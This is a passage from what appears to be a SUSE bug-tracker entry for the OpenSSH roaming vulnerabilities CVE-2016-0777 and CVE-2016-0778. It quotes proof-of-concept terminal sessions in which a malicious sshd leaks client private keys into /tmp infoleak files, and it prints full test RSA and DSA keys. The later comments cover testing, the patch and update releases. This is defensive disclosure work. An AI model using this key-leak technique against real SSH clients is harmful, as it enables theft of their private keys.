T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY
FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws
uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS
Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=
-----END RSA PRIVATE KEY-----

# env ROAMING="client_out_buf_size:2048" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]

# cat /tmp/roaming-35ee7ab0/infoleak
MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc
VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL
9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175
ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn
w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU
MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh
oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY
mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M
k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G
+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95
n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt
8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw
rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5
cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb
3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV
WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ
pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM
T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY
FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws
uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS

$ /usr/bin/ssh -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
# cat /tmp/roaming-6cb31d82/infoleak
...
uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS
Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=

------------------------------------------------------------------------
Private Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key
------------------------------------------------------------------------

$ head -n 1 /etc/motd
OpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015

$ /usr/bin/ssh -V
OpenSSH_7.0, LibreSSL 2.2.2

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL
ruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s
17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8
L/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh
xSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP
vavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl
Jka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP
Kyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19
qJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY
gQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK
QolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt
gKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL
cQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB
+s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl
hcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri
hBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh
vhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O
nFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG
8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra
uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc
prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO
ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V
8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp
ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz
uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==
-----END RSA PRIVATE KEY-----

# "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 1 %h %p" -p 222 127.0.0.1
[connection suspended, press return to resume]Segmentation fault (core dumped)

(this example requires a ProxyCommand because of the NULL-aitop bug
described in the Mitigating Factors of the Information Leak section, and
crashes because of the NULL-pointer dereference discussed in the
Mitigating Factors of the Buffer Overflow section)

# cat /tmp/roaming-a5eca355/infoleak
ry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra
uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc
prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO
ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V
8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp
ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz
uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==

------------------------------------------------------------------------
Private Key Disclosure example: CentOS 7, 1024-bit DSA key
------------------------------------------------------------------------

$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="CentOS Linux 7 (Core)"

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe
kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n
GLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a
Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2
hUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X
iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/
QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS
F9AoVoZFKEGn4FEoYIqY3a4=
-----END DSA PRIVATE KEY-----

# env ROAMING="heap_massaging:linux" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
...

# strings /tmp/roaming-b7b16dfc/infoleak
jJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe
kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5

# strings /tmp/roaming-b324ce87/infoleak
IuQL
R2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a
Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9v

# strings /tmp/roaming-24011739/infoleak
KjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC

# strings /tmp/roaming-37456846/infoleak
LsBlstpuQ4Hr2DHmalL8X
iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA
yq4Kwj/

# strings /tmp/roaming-988ff54c/infoleak
GBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/

# strings /tmp/roaming-53887fa5/infoleak
/4oatxFUV5V8aniqyq4Kwj/
QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS
F9AoVoZFKEGn4FEoYIqY3a4

------------------------------------------------------------------------
Private Key Disclosure example: Fedora 20, 2048-bit RSA key
------------------------------------------------------------------------

$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="Fedora 20 (Heisenbug)"

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz
HLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp
o9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ
/B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy
2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK
cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o
6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06
Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV
JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr
Hiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l
PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ
rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo
/euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot
gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa
jwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY
vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y
3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF
Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P
pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU
dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm
qK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5
r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp
P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+
ZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU=
-----END RSA PRIVATE KEY-----

# env ROAMING="heap_massaging:linux" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
...

# strings /tmp/roaming-a2bbc5f6/infoleak
cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG

# strings /tmp/roaming-47b46456/infoleak
RGAcE0nc
GCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o
6GEmk/oB9

# strings /tmp/roaming-7a6717ae/infoleak
cawMW4LZ1
Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV
JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p

# strings /tmp/roaming-f3091f08/infoleak
lZ3w0qHe
nSolsDs2k8wHbVP4VtLE8l
PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ

# strings /tmp/roaming-62a9e9a3/infoleak
lZ3w0qHe
r3TwTa0pPEk11
LbcsTEJ
rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo
/euhzdYixxIkfqyopnYFoER26u37/OHe37P

# strings /tmp/roaming-8de31ed5/infoleak
7qyvNznQ
26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot
gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa

# strings /tmp/roaming-f5e0fbcc/infoleak
yESI62wOuaY
vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y
3fBC3h9BN5banCw6VKfnvm8/q+bwSxS

# strings /tmp/roaming-9be933df/infoleak
QRtzK/GpRuMC1
C3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF
Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT

# strings /tmp/roaming-ee4d1e6c/infoleak
SG3aTqYp
tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P
pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s

# strings /tmp/roaming-c2bfd69c/infoleak
SG3aTqYp
6JmTOun5zVV6A
H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU
dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s

# strings /tmp/roaming-2b3217a1/infoleak
DGLfFGdO
r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp
P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ

# strings /tmp/roaming-1e275747/infoleak
g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+
Comment 2 Johannes Segitz 2016-01-13 08:30:59 UTC
CRD: 2016-01-14 9:00 AM PST
Comment 7 Johannes Segitz 2016-01-13 12:05:45 UTC
I tested the provided reproducer (sshd with poc available at
https://build.suse.de/package/show/home:jsegitz:branches:SUSE:SLE-12:Update/openssh)
I couldn't reproduce when connecting from SLE 11 SP3, SLE 12 GA or Leap (Leap uses SLE 12 ssh, so no surprise there). That doesn't necessarily mean that we're not vulnerable there. SLE 11 SP3 with 8k keys should be vulnerable, but the poc probably doesn't test this
Comment 14 Andreas Stieger 2016-01-13 15:55:20 UTC
QA hint for verifying the roaming feature is wiped:

Affected client in default config:
> debug1: Roaming not allowed by server

Original client, when run with "-oUseRoaming=no" or  'UseRoaming no' in ssh_config or ~/.ssh/config will not print this.

Expected behavior for the fixed client:
Never print this, even when -oUseRoaming=yes is specified or 'UseRoaming yes' is in ssh_config or ~/.ssh/config.
Comment 18 Johannes Segitz 2016-01-14 08:15:45 UTC
Created attachment 661720 [details]
Final upstream patch
Comment 20 Sascha Weber 2016-01-14 08:41:20 UTC
What about customers with LTSS on SLES 11 SP1 and SP 2?

I think there might even be some valid accounts with SLES 10 SP4 out there.

Thank,
Sascha
Comment 22 Sascha Weber 2016-01-14 09:12:16 UTC
But Comment#5 only talks about SLES 11 SP4 and SLES 12. nothing about the LTSS products !

Also, I have started to put together the TID for the Knowledgebase. I need someone to review it and provide feedback. The TID is marked as INTERNAL only, so you have to login to see the content:
https://www.suse.com/support/kb/doc.php?id=7017154
Comment 23 Sascha Weber 2016-01-14 10:33:58 UTC
Feedback from Markus Meissner:
As only 5.4 and newer are affected, the 5.1p1 versions  in SLES 11 SP2, SP1, SLES 10 SP4 and older products are not affected.
Comment 24 Bernhard Wiedemann 2016-01-14 17:00:09 UTC
This is an autogenerated message for OBS integration:
This bug (961642) was mentioned in
https://build.opensuse.org/request/show/353722 13.2 / openssh
Comment 25 Johannes Segitz 2016-01-14 17:21:50 UTC
Official advisory by Qualys:
https://www.qualys.com/2016/01/14/cve-2016-0777-cve-2016-0778/openssh-cve-2016-0777-cve-2016-0778.txt

SUSE would like to thank Qualys for the detailed report.
Comment 26 Swamp Workflow Management 2016-01-14 19:11:42 UTC
SUSE-SU-2016:0117-1: An update that fixes two vulnerabilities is now available.

Category: security (critical)
Bug References: 961642,961645
CVE References: CVE-2016-0777,CVE-2016-0778
Sources used:
SUSE Linux Enterprise Server 11-SECURITY (src):    openssh-openssl1-6.6p1-10.1
Comment 27 Swamp Workflow Management 2016-01-14 19:12:21 UTC
SUSE-SU-2016:0118-1: An update that fixes two vulnerabilities is now available.

Category: security (critical)
Bug References: 961642,961645
CVE References: CVE-2016-0777,CVE-2016-0778
Sources used:
SUSE Linux Enterprise Server 12-SP1 (src):    openssh-6.6p1-33.1, openssh-askpass-gnome-6.6p1-33.1
SUSE Linux Enterprise Server 12 (src):    openssh-6.6p1-33.1, openssh-askpass-gnome-6.6p1-33.1
SUSE Linux Enterprise Desktop 12-SP1 (src):    openssh-6.6p1-33.1, openssh-askpass-gnome-6.6p1-33.1
SUSE Linux Enterprise Desktop 12 (src):    openssh-6.6p1-33.1, openssh-askpass-gnome-6.6p1-33.1
Comment 28 Swamp Workflow Management 2016-01-14 19:12:59 UTC
SUSE-SU-2016:0119-1: An update that fixes two vulnerabilities is now available.

Category: security (critical)
Bug References: 961642,961645
CVE References: CVE-2016-0777,CVE-2016-0778
Sources used:
SUSE Linux Enterprise Server for VMWare 11-SP3 (src):    openssh-6.2p2-0.24.1, openssh-askpass-gnome-6.2p2-0.24.3
SUSE Linux Enterprise Server 11-SP3 (src):    openssh-6.2p2-0.24.1, openssh-askpass-gnome-6.2p2-0.24.3
SUSE Linux Enterprise Desktop 11-SP3 (src):    openssh-6.2p2-0.24.1, openssh-askpass-gnome-6.2p2-0.24.3
SUSE Linux Enterprise Debuginfo 11-SP3 (src):    openssh-6.2p2-0.24.1, openssh-askpass-gnome-6.2p2-0.24.3
Comment 29 Swamp Workflow Management 2016-01-14 19:13:36 UTC
SUSE-SU-2016:0120-1: An update that fixes two vulnerabilities is now available.

Category: security (critical)
Bug References: 961642,961645
CVE References: CVE-2016-0777,CVE-2016-0778
Sources used:
SUSE Linux Enterprise Server 11-SP4 (src):    openssh-6.6p1-16.1, openssh-askpass-gnome-6.6p1-16.4
SUSE Linux Enterprise Desktop 11-SP4 (src):    openssh-6.6p1-16.1, openssh-askpass-gnome-6.6p1-16.4
SUSE Linux Enterprise Debuginfo 11-SP4 (src):    openssh-6.6p1-16.1, openssh-askpass-gnome-6.6p1-16.4
Comment 30 Andreas Stieger 2016-01-14 22:40:36 UTC
Releasing openSUSE updates, resolving as fixed.
Comment 31 Swamp Workflow Management 2016-01-15 02:11:18 UTC
openSUSE-SU-2016:0127-1: An update that fixes two vulnerabilities is now available.

Category: security (critical)
Bug References: 961642,961645
CVE References: CVE-2016-0777,CVE-2016-0778
Sources used:
openSUSE 13.2 (src):    openssh-6.6p1-5.3.1, openssh-askpass-gnome-6.6p1-5.3.1
Comment 32 Swamp Workflow Management 2016-01-15 02:11:53 UTC
openSUSE-SU-2016:0128-1: An update that fixes two vulnerabilities is now available.

Category: security (critical)
Bug References: 961642,961645
CVE References: CVE-2016-0777,CVE-2016-0778
Sources used:
openSUSE Leap 42.1 (src):    openssh-6.6p1-8.1, openssh-askpass-gnome-6.6p1-8.1
Comment 33 Bernhard Wiedemann 2016-01-15 08:00:08 UTC
This is an autogenerated message for OBS integration:
This bug (961642) was mentioned in
https://build.opensuse.org/request/show/353786 13.1 / openssh
Comment 34 Bernhard Wiedemann 2016-01-15 12:00:08 UTC
This is an autogenerated message for OBS integration:
This bug (961642) was mentioned in
https://build.opensuse.org/request/show/353827 Evergreen:11.4+13.1 / openssh
Comment 35 Bernhard Wiedemann 2016-01-15 13:00:09 UTC
This is an autogenerated message for OBS integration:
This bug (961642) was mentioned in
https://build.opensuse.org/request/show/353838 Evergreen:11.4 / openssh
Comment 36 Swamp Workflow Management 2016-01-16 02:11:13 UTC
openSUSE-SU-2016:0144-1: An update that fixes three vulnerabilities is now available.

Category: security (critical)
Bug References: 961642,961645
CVE References: CVE-2016-077,CVE-2016-0777,CVE-2016-0778
Sources used:
openSUSE Evergreen 11.4 (src):    openssh-5.8p1-11.1, openssh-askpass-gnome-5.8p1-11.1
Comment 37 Swamp Workflow Management 2016-01-16 02:11:46 UTC
openSUSE-SU-2016:0145-1: An update that fixes three vulnerabilities is now available.

Category: security (critical)
Bug References: 961642,961645
CVE References: CVE-2016-077,CVE-2016-0777,CVE-2016-0778
Sources used:
openSUSE 13.1 (src):    openssh-6.2p2-3.7.1, openssh-askpass-gnome-6.2p2-3.7.1